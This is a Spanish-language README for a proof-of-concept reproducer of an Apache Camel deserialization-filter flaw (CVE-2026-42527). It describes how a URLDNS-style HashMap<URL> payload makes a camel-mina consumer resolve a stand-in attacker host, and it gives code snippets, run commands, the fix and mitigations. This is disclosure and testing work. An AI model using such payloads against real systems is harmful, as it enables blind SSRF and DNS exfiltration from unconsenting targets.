
Reproductor para CVE-2026-42527 — el ObjectInputFilter predeterminado permisivo de Apache Camel admite java.net.URL, lo que habilita un canal lateral fuera de banda basado en DNS.
Este proyecto demuestra la CVE-2026-42527 en Apache Camel. El patrón ObjectInputFilter predeterminado que
varios componentes de Camel incluyen para el filtrado de deserialización por defensa en profundidad —
java.**;javax.**;org.apache.camel.**;!* — utiliza un glob recursivo java.** que admite java.net.URL.
java.net.URL.hashCode() realiza una resolución DNS del host de la URL, por lo que deserializar un HashMap (o cualquier
colección que aplique hash a sus elementos) que contenga una clave java.net.URL provoca que la JVM emita una consulta DNS a
un host proporcionado por el atacante durante la deserialización. La comprobación del filtro a nivel de clase se supera (el objeto resultante
es un , que está en la lista de permitidos), por lo que nada lo detiene: un (no RCE).
HashMap| Propiedad | Valor |
|---|---|
| Componentes | camel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan y repositorios de agregación (camel-leveldb, camel-cassandraql, camel-consul, camel-sql) |
| Defecto | El filtro predeterminado java.**;javax.**;org.apache.camel.**;!* admite java.net.URL / java.net.InetAddress |
| CWE | CWE-502 (deserialización no segura) que deriva en divulgación de información fuera de banda / SSRF ciego vía DNS |
| Impacto | Consultas DNS observables por el atacante durante la deserialización (canal lateral de exfiltración de datos) |
| Versiones afectadas | 4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0 |
| Versiones corregidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23372 |
| Reportantes | Venkatraman Kumar (Securin) y Yu Bao (PayPal) |
Este defecto fue introducido por la serie de endurecimiento de deserialización (CAMEL-23297/23319/23321/23322/23324), que añadió el filtro predeterminado demasiado permisivo. CVE-2026-42527 lo restringe.
Esta PoC utiliza camel-mina 4.18.2, donde MinaConverter.toObjectInput instala el filtro predeterminado directamente
en el ObjectInputStream, por lo que el filtro es el control de acceso (un contraste limpio afectado-vs-corregido):
// MinaConverter.toObjectInput(IoBuffer) - afectado 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
? jvmFilter
: ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
El glob java.** admite java.net.URL. Al deserializar un HashMap<URL, ...>, HashMap.readObject()
reinserta la entrada y calcula hash(key) → URL.hashCode() → InetAddress.getByName(host) → una consulta
DNS al host del atacante. La corrección en 4.18.3 / 4.21.0 antepone una denegación:
// corregido
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
Ahora java.net.URL se rechaza durante la deserialización (InvalidClassException: filter status: REJECTED) antes de que
hashCode() llegue a ejecutarse — sin consulta DNS.
La mayor exposición real está en la familia camel-jms, donde
JmsBinding.extractBodyFromJmsllama aObjectMessage.getObject()de forma incondicional cuandomapJmsMessage=true(el valor predeterminado). Esta PoC usa camel-mina porque es autónomo (sin broker) y el filtro está directamente en el flujo.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput (filtro predeterminado)
Object obj = oi.readObject(); // HashMap.readObject -> URL.hashCode() -> DNS
});
java.net.URL.hashCode() resuelve el host a través del resolutor de la JVM. Para observar esa búsqueda de forma determinista
y sin conexión, la aplicación registra un java.net.spi.InetAddressResolverProvider personalizado (JDK 18+, JEP 418) que
registra cualquier nombre de host que contenga el marcador del atacante y lo responde con un stub de loopback. Ver que el host
del atacante llega al resolutor es el canal lateral fuera de banda activándose.
La carga útil se construye con el clásico truco ysoserial URLDNS: el campo cacheado hashCode de la URL se
preinicializa para que insertarla en el mapa en el lado del constructor no resuelva el host, y luego se restablece a -1
para que la búsqueda ocurra solo cuando la víctima deserializa. (--add-opens java.base/java.net es necesario para esa
reflexión — un detalle de construcción de la carga útil, no relacionado con la vulnerabilidad.)
CVE-2026-42527/
├── pom.xml # camel-mina 4.18.2 (filtro predeterminado permisivo)
├── Dockerfile # ejecuta la aplicación (--add-opens java.base/java.net para la construcción de la carga útil)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # víctima: consumidor mina -> ObjectInput.readObject()
│ ├── PayloadFactory.java # carga útil HashMap<URL> URLDNS (sin DNS en el lado del constructor)
│ ├── ExfilResolverProvider.java # servidor DNS stub (InetAddressResolverProvider) que registra las búsquedas
│ ├── ExfilLog.java
│ └── ExploitController.java # /exploit/inject: envía la carga útil por TCP y comprueba la búsqueda DNS
└── resources/
├── application.properties
└── META-INF/services/java.net.spi.InetAddressResolverProvider
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/inject
# -> Se envió la carga útil HashMap<URL> a mina:tcp://127.0.0.1:5555
# Host de la clave URL: dns-exfil-proof.cve-2026-42527.attacker.test
#
# >>> Prueba del canal lateral DNS — el resolutor vio una búsqueda del host del atacante: true
# búsquedas observadas: [dns-exfil-proof.cve-2026-42527.attacker.test]
true significa que la deserialización del HashMap<URL> del atacante resolvió el host del atacante — un
servidor DNS controlado por el atacante vería esa consulta.
Ejecutar con un filtro JVM-wide endurecido (que toObjectInput respeta, y que refleja la corrección de 4.18.3):
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
-Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
-jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# luego: curl -s http://localhost:8080/exploit/inject
# -> ... el resolutor vio una búsqueda del host del atacante: false
# (el registro de la ruta muestra InvalidClassException: filter status: REJECTED)
docker compose down
Cualquier consumidor Camel afectado que deserialice bytes controlados por el atacante bajo el filtro predeterminado — principalmente
un consumidor camel-jms/sjms/amqp con mapJmsMessage=true, o los componentes mina/netty/vertx-http/infinispan y
de repositorio de agregación — donde el atacante pueda entregar un HashMap<URL> (o cualquier colección con hash
de java.net.URL).
deserializationFilter explícito ni sobrescritura -Djdk.serialFilter, y sin lista de permitidos en el proveedor).java.net.URL dentro de una colección con hash en la carga útil. No se requiere ninguna
biblioteca de gadgets — solo clases estándar del JDK.Actualizar a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23372), que cambia el filtro predeterminado para denegar java.net.**.
Hasta que se actualice:
deserializationAllowList/deserializationDenyList, ActiveMQ Classic org.apache.activemq.SERIALIZABLE_PACKAGES).deserializationFilter o el filtro JVM-wide
-Djdk.serialFilter con una denegación explícita:
!java.net.**;java.**;javax.**;org.apache.camel.**;!*
(o !java.net.**;java.**;org.apache.camel.**;!* para los componentes de repositorio de agregación, que omiten
javax.**).Este reproductor se proporciona solo para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilices contra sistemas sin permiso explícito.